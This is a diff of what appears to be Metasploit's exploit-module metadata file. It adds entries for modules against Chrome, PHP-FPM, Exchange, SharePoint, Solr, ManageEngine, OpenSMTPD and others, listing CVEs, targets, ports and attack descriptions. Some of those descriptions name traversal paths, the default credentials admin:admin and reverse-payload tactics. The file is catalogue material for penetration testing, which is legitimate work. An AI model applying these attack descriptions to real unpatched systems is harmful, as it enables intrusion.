"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=1053604",
"URL-https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping",
"URL-https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90"
],
"platform": "",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows 10 - Google Chrome 80.0.3987.87 (64 bit)",
"macOS - Google Chrome 80.0.3987.87 (64 bit)"
],
"mod_time": "2020-03-04 21:23:53 +0000",
"path": "/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb",
"is_install_path": true,
"ref_name": "multi/browser/chrome_jscreate_sideeffect",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/browser/chrome_object_create": {
"name": "Google Chrome 67, 68 and 69 Object.create exploit",
"fullname": "exploit/multi/browser/chrome_object_create",
"aliases": [
],
"rank": 0,
"disclosure_date": "2018-09-25",
"type": "exploit",
"author": [
"saelo",
"timwr"
],
"description": "This modules exploits a type confusion in Google Chromes JIT compiler.\n The Object.create operation can be used to cause a type confusion between a\n PropertyArray and a NameDictionary.\n The payload is executed within the rwx region of the sandboxed renderer\n process, so the browser must be run with the --no-sandbox option for the\n payload to work.",
"references": [
"CVE-2018-17463",
"URL-http://www.phrack.org/papers/jit_exploitation.html",
"URL-https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce",
"URL-https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf",
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=888923"
],
"platform": "OSX,Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2020-02-15 06:09:55 +0000",
"path": "/modules/exploits/multi/browser/chrome_object_create.rb",
"is_install_path": true,
"ref_name": "multi/browser/chrome_object_create",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/browser/firefox_escape_retval": {
"name": "Firefox 3.5 escape() Return Value Memory Corruption",
"fullname": "exploit/multi/browser/firefox_escape_retval",
@@ -68499,7 +68952,7 @@
"Cisco DCNM 11.0(1)",
"Cisco DCNM 10.4(2)"
],
"mod_time": "2019-08-29 12:42:01 +0000",
"mod_time": "2020-03-12 17:08:33 +0000",
"path": "/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb",
"is_install_path": true,
"ref_name": "multi/http/cisco_dcnm_upload_2019",
@@ -69337,7 +69790,7 @@
"targets": [
"Automatic Target"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-03-24 08:47:21 +0000",
"path": "/modules/exploits/multi/http/freenas_exec_raw.rb",
"is_install_path": true,
"ref_name": "multi/http/freenas_exec_raw",
@@ -69883,6 +70336,55 @@
},
"needs_cleanup": null
},
"exploit_multi/http/horde_csv_rce": {
"name": "Horde CSV import arbitrary PHP code execution",
"fullname": "exploit/multi/http/horde_csv_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-02-07",
"type": "exploit",
"author": [
"Andrea Cardaci <cyrus.and@gmail.com>"
],
"description": "The Horde_Data module version 2.1.4 (and before) present in Horde\n Groupware version 5.2.22 allows authenticated users to inject\n arbitrary PHP code thus achieving RCE on the server hosting the web\n application.",
"references": [
"CVE-2020-8518",
"URL-https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic"
],
"mod_time": "2020-03-23 07:28:04 +0000",
"path": "/modules/exploits/multi/http/horde_csv_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/horde_csv_rce",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/http/horde_form_file_upload": {
"name": "Horde Form File Upload Vulnerability",
"fullname": "exploit/multi/http/horde_form_file_upload",
@@ -71131,7 +71633,7 @@
"targets": [
"Automatic Targeting"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-03-24 08:47:21 +0000",
"path": "/modules/exploits/multi/http/magento_unserialize.rb",
"is_install_path": true,
"ref_name": "multi/http/magento_unserialize",
@@ -73241,6 +73743,70 @@
},
"needs_cleanup": null
},
"exploit_multi/http/php_fpm_rce": {
"name": "PHP-FPM Underflow RCE",
"fullname": "exploit/multi/http/php_fpm_rce",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-10-22",
"type": "exploit",
"author": [
"neex",
"cdelafuente-r7"
],
"description": "This module exploits an underflow vulnerability in versions 7.1.x\n below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on\n Nginx. Only servers with certains Nginx + PHP-FPM configurations are\n exploitable. This is a port of the original neex's exploit code (see\n refs.). First, it detects the correct parameters (Query String Length\n and custom header length) needed to trigger code execution. This step\n determines if the target is actually vulnerable (Check method). Then,\n the exploit sets a series of PHP INI directives to create a file\n locally on the target, which enables code execution through a query\n string parameter. This is used to execute normal payload stagers.\n Finally, this module does some cleanup by killing local PHP-FPM\n workers (those are spawned automatically once killed) and removing\n the created local file.",
"references": [
"CVE-2019-11043",
"EDB-47553",
"URL-https://github.com/neex/phuip-fpizdam",
"URL-https://bugs.php.net/bug.php?id=78599",
"URL-https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"PHP",
"Shell Command"
],
"mod_time": "2020-03-06 17:38:37 +0000",
"path": "/modules/exploits/multi/http/php_fpm_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/php_fpm_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-restarts"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"needs_cleanup": null
},
"exploit_multi/http/php_utility_belt_rce": {
"name": "PHP Utility Belt Remote Code Execution",
"fullname": "exploit/multi/http/php_utility_belt_rce",
@@ -73832,6 +74398,55 @@
},
"needs_cleanup": null
},
"exploit_multi/http/phpstudy_backdoor_rce": {
"name": "PHPStudy Backdoor Remote Code execution",
"fullname": "exploit/multi/http/phpstudy_backdoor_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-09-20",
"type": "exploit",
"author": [
"Dimensional",
"Airevan"
],
"description": "This module can detect and exploit the backdoor of PHPStudy.",
"references": [
"URL-https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"PHPStudy 2016-2018"
],
"mod_time": "2020-03-05 10:24:22 +0000",
"path": "/modules/exploits/multi/http/phpstudy_backdoor_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/phpstudy_backdoor_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/http/phptax_exec": {
"name": "PhpTax pfilez Parameter Exec Remote Code Injection",
"fullname": "exploit/multi/http/phptax_exec",
@@ -75124,6 +75739,67 @@
},
"needs_cleanup": true
},
"exploit_multi/http/solr_velocity_rce": {
"name": "Apache Solr Remote Code Execution via Velocity Template",
"fullname": "exploit/multi/http/solr_velocity_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-10-29",
"type": "exploit",
"author": [
"s00py",
"jas502n",
"AleWong",
"Imran E. Dawoodjee <imran@threathounds.com>"
],
"description": "This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom\n Velocity template. Currently, this module only supports Solr basic authentication.\n\n From the Tenable advisory:\n An attacker could target a vulnerable Apache Solr instance by first identifying a list\n of Solr core names. Once the core names have been identified, an attacker can send a specially crafted\n HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response\n Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity\n template parameter in a specially crafted Solr request, leading to RCE.",
"references": [
"EDB-47572",
"CVE-2019-17558",
"URL-https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability",
"URL-https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html",
"URL-https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/",
"URL-https://github.com/jas502n/solr_rce",
"URL-https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template"
],
"platform": "Linux,Unix,Windows",
"arch": "",
"rport": 8983,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix (in-memory)",
"Linux (dropper)",
"x86/x64 Windows PowerShell",
"x86/x64 Windows CmdStager",
"Windows Exec"
],
"mod_time": "2020-03-29 00:33:24 +0000",
"path": "/modules/exploits/multi/http/solr_velocity_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/solr_velocity_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/http/sonicwall_gms_upload": {
"name": "SonicWALL GMS 6 Arbitrary File Upload",
"fullname": "exploit/multi/http/sonicwall_gms_upload",
@@ -76787,7 +77463,7 @@
"targets": [
"Trend Micro Threat Discovery Appliance 2.6.1062r1"
],
"mod_time": "2017-09-07 21:18:50 +0000",
"mod_time": "2020-03-24 08:47:21 +0000",
"path": "/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb",
"is_install_path": true,
"ref_name": "multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi",
@@ -78829,6 +79505,53 @@
},
"needs_cleanup": null
},
"exploit_multi/misc/ibm_tm1_unauth_rce": {
"name": "IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution",
"fullname": "exploit/multi/misc/ibm_tm1_unauth_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-12-19",
"type": "exploit",
"author": [
"Pedro Ribeiro <pedrib@gmail.com>",
"Gareth Batchelor <gbatchelor@cloudtrace.com.au>"
],
"description": "This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows\n an unauthenticated attacker to perform a configuration overwrite.\n It starts by querying the Admin server for the available applications, picks one,\n and then exploits it. You can also provide an application name to bypass this step,\n and exploit the application directly.\n The configuration overwrite is used to change an application server authentication\n method to \"CAM\", a proprietary IBM auth method, which is simulated by the exploit.\n The exploit then performs a fake authentication as admin, and finally abuses TM1\n scripting to perform a command injection as root or SYSTEM.\n Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.\n Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions\n earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).",
"references": [
"CVE-2019-4716",
"URL-https://www.ibm.com/support/pages/node/1127781",
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt",
"URL-https://seclists.org/fulldisclosure/2020/Mar/44"
],
"platform": "",
"arch": "",
"rport": 5498,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows",
"Windows (Command)",
"Linux",
"Linux (Command)",
"AIX (Command)"
],
"mod_time": "2020-03-30 12:49:58 +0000",
"path": "/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb",
"is_install_path": true,
"ref_name": "multi/misc/ibm_tm1_unauth_rce",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_multi/misc/indesign_server_soap": {
"name": "Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution",
"fullname": "exploit/multi/misc/indesign_server_soap",
@@ -80800,7 +81523,7 @@
"Linux",
"Mac OS X"
],
"mod_time": "2020-02-19 09:32:34 +0000",
"mod_time": "2020-03-13 09:52:25 +0000",
"path": "/modules/exploits/multi/script/web_delivery.rb",
"is_install_path": true,
"ref_name": "multi/script/web_delivery",
@@ -82494,6 +83217,53 @@
},
"needs_cleanup": true
},
"exploit_osx/local/vmware_fusion_lpe": {
"name": "VMware Fusion USB Arbitrator Setuid Privilege Escalation",
"fullname": "exploit/osx/local/vmware_fusion_lpe",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-03-17",
"type": "exploit",
"author": [
"h00die",
"Dhanesh Kizhakkinan",
"Rich Mirch",
"jeffball <jeffball@dc949.org>",
"grimm"
],
"description": "This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.\n The Open VMware USB Arbitrator Service can be launched outide of its standard path\n which allows loading of an attacker controlled binary. By creating a payload in the\n user home directory in a specific folder, and creating a hard link to the 'Open VMware\n USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload\n with an effective UID of 0.\n @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.\n Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.",
"references": [
"CVE-2020-3950",
"EDB-48235",
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0005.html",
"URL-https://twitter.com/jeffball55/status/1242530508053110785?s=20",
"URL-https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt"
],
"platform": "OSX",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2020-04-02 11:30:59 +0000",
"path": "/modules/exploits/osx/local/vmware_fusion_lpe.rb",
"is_install_path": true,
"ref_name": "osx/local/vmware_fusion_lpe",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_osx/mdns/upnp_location": {
"name": "Mac OS X mDNSResponder UPnP Location Overflow",
"fullname": "exploit/osx/mdns/upnp_location",
@@ -84828,6 +85598,56 @@
},
"needs_cleanup": true
},
"exploit_unix/local/opensmtpd_oob_read_lpe": {
"name": "OpenSMTPD OOB Read Local Privilege Escalation",
"fullname": "exploit/unix/local/opensmtpd_oob_read_lpe",
"aliases": [
],
"rank": 200,
"disclosure_date": "2020-02-24",
"type": "exploit",
"author": [
"Qualys",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits an out-of-bounds read of an attacker-controlled\n string in OpenSMTPD's MTA implementation to execute a command as the\n root or nobody user, depending on the kind of grammar OpenSMTPD uses.",
"references": [
"CVE-2020-8794",
"URL-https://seclists.org/oss-sec/2020/q1/96"
],
"platform": "Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"OpenSMTPD < 6.6.4 (automatic grammar selection)"
],
"mod_time": "2020-03-03 16:50:39 +0000",
"path": "/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb",
"is_install_path": true,
"ref_name": "unix/local/opensmtpd_oob_read_lpe",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"needs_cleanup": null
},
"exploit_unix/local/setuid_nmap": {
"name": "Setuid Nmap Exploit",
"fullname": "exploit/unix/local/setuid_nmap",
@@ -85286,7 +86106,7 @@
"wvu <wvu@metasploit.com>",
"RageLtMan <rageltman@sempervictus>"
],
"description": "This module exploits a command injection in the MAIL FROM field during\n SMTP interaction with OpenSMTPD to execute a command as the root user.",
"description": "This module exploits a command injection in the MAIL FROM field during\n SMTP interaction with OpenSMTPD to execute a command as the root user.",
"references": [
"CVE-2020-7247",
"URL-https://seclists.org/oss-sec/2020/q1/40"
@@ -85301,9 +86121,9 @@
],
"targets": [
"OpenSMTPD >= commit a8e222352f"
"OpenSMTPD < 6.6.1"
],
"mod_time": "2020-03-02 14:15:52 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb",
"is_install_path": true,
"ref_name": "unix/smtp/opensmtpd_mail_from_rce",
@@ -91687,7 +92507,7 @@
"targets": [
"InfiniteWP Client < 1.9.4.5"
],
"mod_time": "2020-03-02 14:15:52 +0000",
"mod_time": "2020-03-03 13:22:01 +0000",
"path": "/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb",
"is_install_path": true,
"ref_name": "unix/webapp/wp_infinitewp_auth_bypass",
@@ -111534,7 +112354,7 @@
"targets": [
"Automatic"
],
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2020-03-24 08:47:21 +0000",
"path": "/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/nitro_reader_jsapi",
@@ -117211,6 +118031,57 @@
},
"needs_cleanup": null
},
"exploit_windows/http/apache_activemq_traversal_upload": {
"name": "Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload",
"fullname": "exploit/windows/http/apache_activemq_traversal_upload",
"aliases": [
],
"rank": 600,
"disclosure_date": "2015-08-19",
"type": "exploit",
"author": [
"David Jorm",
"Erik Wynter"
],
"description": "This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache\n ActiveMQ 5.x before 5.11.2 for Windows.\n\n The module tries to upload a JSP payload to the /admin directory via the traversal\n path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ\n credentials admin:admin (or other credentials provided by the user). It then issues\n an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the\n payload and obtain a shell.",
"references": [
"CVE-2015-1830",
"EDB-40857",
"URL-https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt"
],
"platform": "Windows",
"arch": "",
"rport": 8161,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Java"
],
"mod_time": "2020-03-05 15:03:05 +0000",
"path": "/modules/exploits/windows/http/apache_activemq_traversal_upload.rb",
"is_install_path": true,
"ref_name": "windows/http/apache_activemq_traversal_upload",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_windows/http/apache_chunked": {
"name": "Apache Win32 Chunked Encoding",
"fullname": "exploit/windows/http/apache_chunked",
@@ -118118,6 +118989,72 @@
},
"needs_cleanup": true
},
"exploit_windows/http/desktopcentral_deserialization": {
"name": "ManageEngine Desktop Central Java Deserialization",
"fullname": "exploit/windows/http/desktopcentral_deserialization",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-03-05",
"type": "exploit",
"author": [
"mr_me",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a Java deserialization vulnerability in the\n getChartImage() method from the FileStorage class within ManageEngine\n Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.\n\n \"The short-term fix for the arbitrary file upload vulnerability was\n released in build 10.0.474 on January 20, 2020. In continuation of that,\n the complete fix for the remote code execution vulnerability is now\n available in build 10.0.479.\"",
"references": [
"CVE-2020-10189",
"URL-https://srcincite.io/advisories/src-2020-0011/",
"URL-https://srcincite.io/pocs/src-2020-0011.py.txt",
"URL-https://twitter.com/steventseeley/status/1235635108498948096",
"URL-https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html"
],
"platform": "Windows",
"arch": "cmd, x86, x64",
"rport": 8383,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Command",
"Windows Dropper",
"PowerShell Stager"
],
"mod_time": "2020-03-13 17:36:05 +0000",
"path": "/modules/exploits/windows/http/desktopcentral_deserialization.rb",
"is_install_path": true,
"ref_name": "windows/http/desktopcentral_deserialization",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"PatchedVersion": "100474",
"Stability": [
"service-resource-loss"
],
"Reliability": [
"first-attempt-fail"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"needs_cleanup": true
},
"exploit_windows/http/desktopcentral_file_upload": {
"name": "ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload",
"fullname": "exploit/windows/http/desktopcentral_file_upload",
@@ -118472,6 +119409,66 @@
},
"needs_cleanup": null
},
"exploit_windows/http/dnn_cookie_deserialization_rce": {
"name": "DotNetNuke Cookie Deserialization Remote Code Excecution",
"fullname": "exploit/windows/http/dnn_cookie_deserialization_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2017-07-20",
"type": "exploit",
"author": [
"Jon Park",
"Jon Seigel"
],
"description": "This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.\n Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.\n The expected structure includes a \"type\" attribute to instruct the server which type of object to create on deserialization.\n The cookie is processed by the application whenever it attempts to load the current user's profile data.\n This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).\n An attacker can leverage this vulnerability to execute arbitrary code on the system.",
"references": [
"CVE-2017-9822",
"CVE-2018-15811",
"CVE-2018-15812",
"CVE-2018-18325",
"CVE-2018-18326",
"URL-https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf",
"URL-https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html",
"URL-https://github.com/pwntester/ysoserial.net"
],
"platform": "Windows",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic",
"v5.0 - v9.0.0",
"v9.0.1 - v9.1.1",
"v9.2.0 - v9.2.1",
"v9.2.2 - v9.3.0-RC"
],
"mod_time": "2019-09-11 15:17:06 +0000",
"path": "/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/dnn_cookie_deserialization_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_windows/http/dup_scout_enterprise_login_bof": {
"name": "Dup Scout Enterprise Login Buffer Overflow",
"fullname": "exploit/windows/http/dup_scout_enterprise_login_bof",
@@ -119107,6 +120104,67 @@
},
"needs_cleanup": null
},
"exploit_windows/http/exchange_ecp_viewstate": {
"name": "Exchange Control Panel ViewState Deserialization",
"fullname": "exploit/windows/http/exchange_ecp_viewstate",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-02-11",
"type": "exploit",
"author": [
"Spencer McIntyre"
],
"description": "This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these, values an attacker\n can craft a special ViewState to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.",
"references": [
"CVE-2020-0688",
"URL-https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
],
"platform": "Windows",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows (x86)",
"Windows (x64)",
"Windows (cmd)"
],
"mod_time": "2020-03-12 18:26:01 +0000",
"path": "/modules/exploits/windows/http/exchange_ecp_viewstate.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_ecp_viewstate",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_windows/http/ezserver_http": {
"name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability",
"fullname": "exploit/windows/http/ezserver_http",
@@ -119237,7 +120295,7 @@
"targets": [
"Windows Vista / Windows 7 (x86)"
],
"mod_time": "2019-10-08 11:44:41 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/exploits/windows/http/file_sharing_wizard_seh.rb",
"is_install_path": true,
"ref_name": "windows/http/file_sharing_wizard_seh",
@@ -124018,6 +125076,68 @@
},
"needs_cleanup": null
},
"exploit_windows/http/sharepoint_workflows_xoml": {
"name": "SharePoint Workflows XOML Injection",
"fullname": "exploit/windows/http/sharepoint_workflows_xoml",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-03-02",
"type": "exploit",
"author": [
"Spencer McIntyre",
"Soroush Dalili"
],
"description": "This module exploits a vulnerability within SharePoint and its .NET backend\n that allows an attacker to execute commands using specially crafted XOML data\n sent to SharePoint via the Workflows functionality.",
"references": [
"CVE-2020-0646",
"URL-https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/"
],
"platform": "Windows",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows EXE Dropper",
"Windows Command",
"Windows Powershell"
],
"mod_time": "2020-03-24 17:14:47 +0000",
"path": "/modules/exploits/windows/http/sharepoint_workflows_xoml.rb",
"is_install_path": true,
"ref_name": "windows/http/sharepoint_workflows_xoml",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_windows/http/shoutcast_format": {
"name": "SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow",
"fullname": "exploit/windows/http/shoutcast_format",
@@ -124287,6 +125407,68 @@
},
"needs_cleanup": null
},
"exploit_windows/http/ssrs_navcorrector_viewstate": {
"name": "SQL Server Reporting Services (SSRS) ViewState Deserialization",
"fullname": "exploit/windows/http/ssrs_navcorrector_viewstate",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-02-11",
"type": "exploit",
"author": [
"Soroush Dalili",
"Spencer McIntyre"
],
"description": "A vulnerability exists within Microsoft's SQL Server Reporting Services\n which can allow an attacker to craft an HTTP POST request with a\n serialized object to achieve remote code execution. The vulnerability is\n due to the fact that the serialized blob is not signed by the server.",
"references": [
"CVE-2020-0618",
"URL-https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/"
],
"platform": "Windows",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows (x86)",
"Windows (x64)",
"Windows (cmd)"
],
"mod_time": "2020-03-09 11:43:26 +0000",
"path": "/modules/exploits/windows/http/ssrs_navcorrector_viewstate.rb",
"is_install_path": true,
"ref_name": "windows/http/ssrs_navcorrector_viewstate",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_windows/http/steamcast_useragent": {
"name": "Streamcast HTTP User-Agent Buffer Overflow",
"fullname": "exploit/windows/http/steamcast_useragent",
@@ -125316,7 +126498,7 @@
"needs_cleanup": true
},
"exploit_windows/iis/iis_webdav_scstoragepathfromurl": {
"name": " Microsoft IIS WebDav ScStoragePathFromUrl Overflow",
"name": "Microsoft IIS WebDav ScStoragePathFromUrl Overflow",
"fullname": "exploit/windows/iis/iis_webdav_scstoragepathfromurl",
"aliases": [
@@ -125361,7 +126543,7 @@
"targets": [
"Microsoft Windows Server 2003 R2 SP2 x86"
],
"mod_time": "2018-08-27 13:11:22 +0000",
"mod_time": "2020-03-12 01:12:00 +0000",
"path": "/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb",
"is_install_path": true,
"ref_name": "windows/iis/iis_webdav_scstoragepathfromurl",
@@ -131088,7 +132270,7 @@
"author": [
"Manuel Feifel"
],
"description": "This module will execute an arbitrary payload on an \"ESEL\" server used by the\n AIS logistic software. The server typically listens on port 5099 without TLS.\n There could also be server listening on 5100 with TLS but the port 5099 is\n usually always open.\n The login process is vulnerable to an SQL Injection. Usually a MSSQL Server\n with the 'sa' user is in place.\n\n This module was verified on version 67 but it should also run on lower versions.\n An fixed version was created by AIS in September 2017. However most systems\n have not been updated.\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload. You want a \"reverse\" payload,\n probably to your port 80 or to any other outbound port allowed on the firewall.\n\n Currently, one delivery method is supported\n\n This method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.",
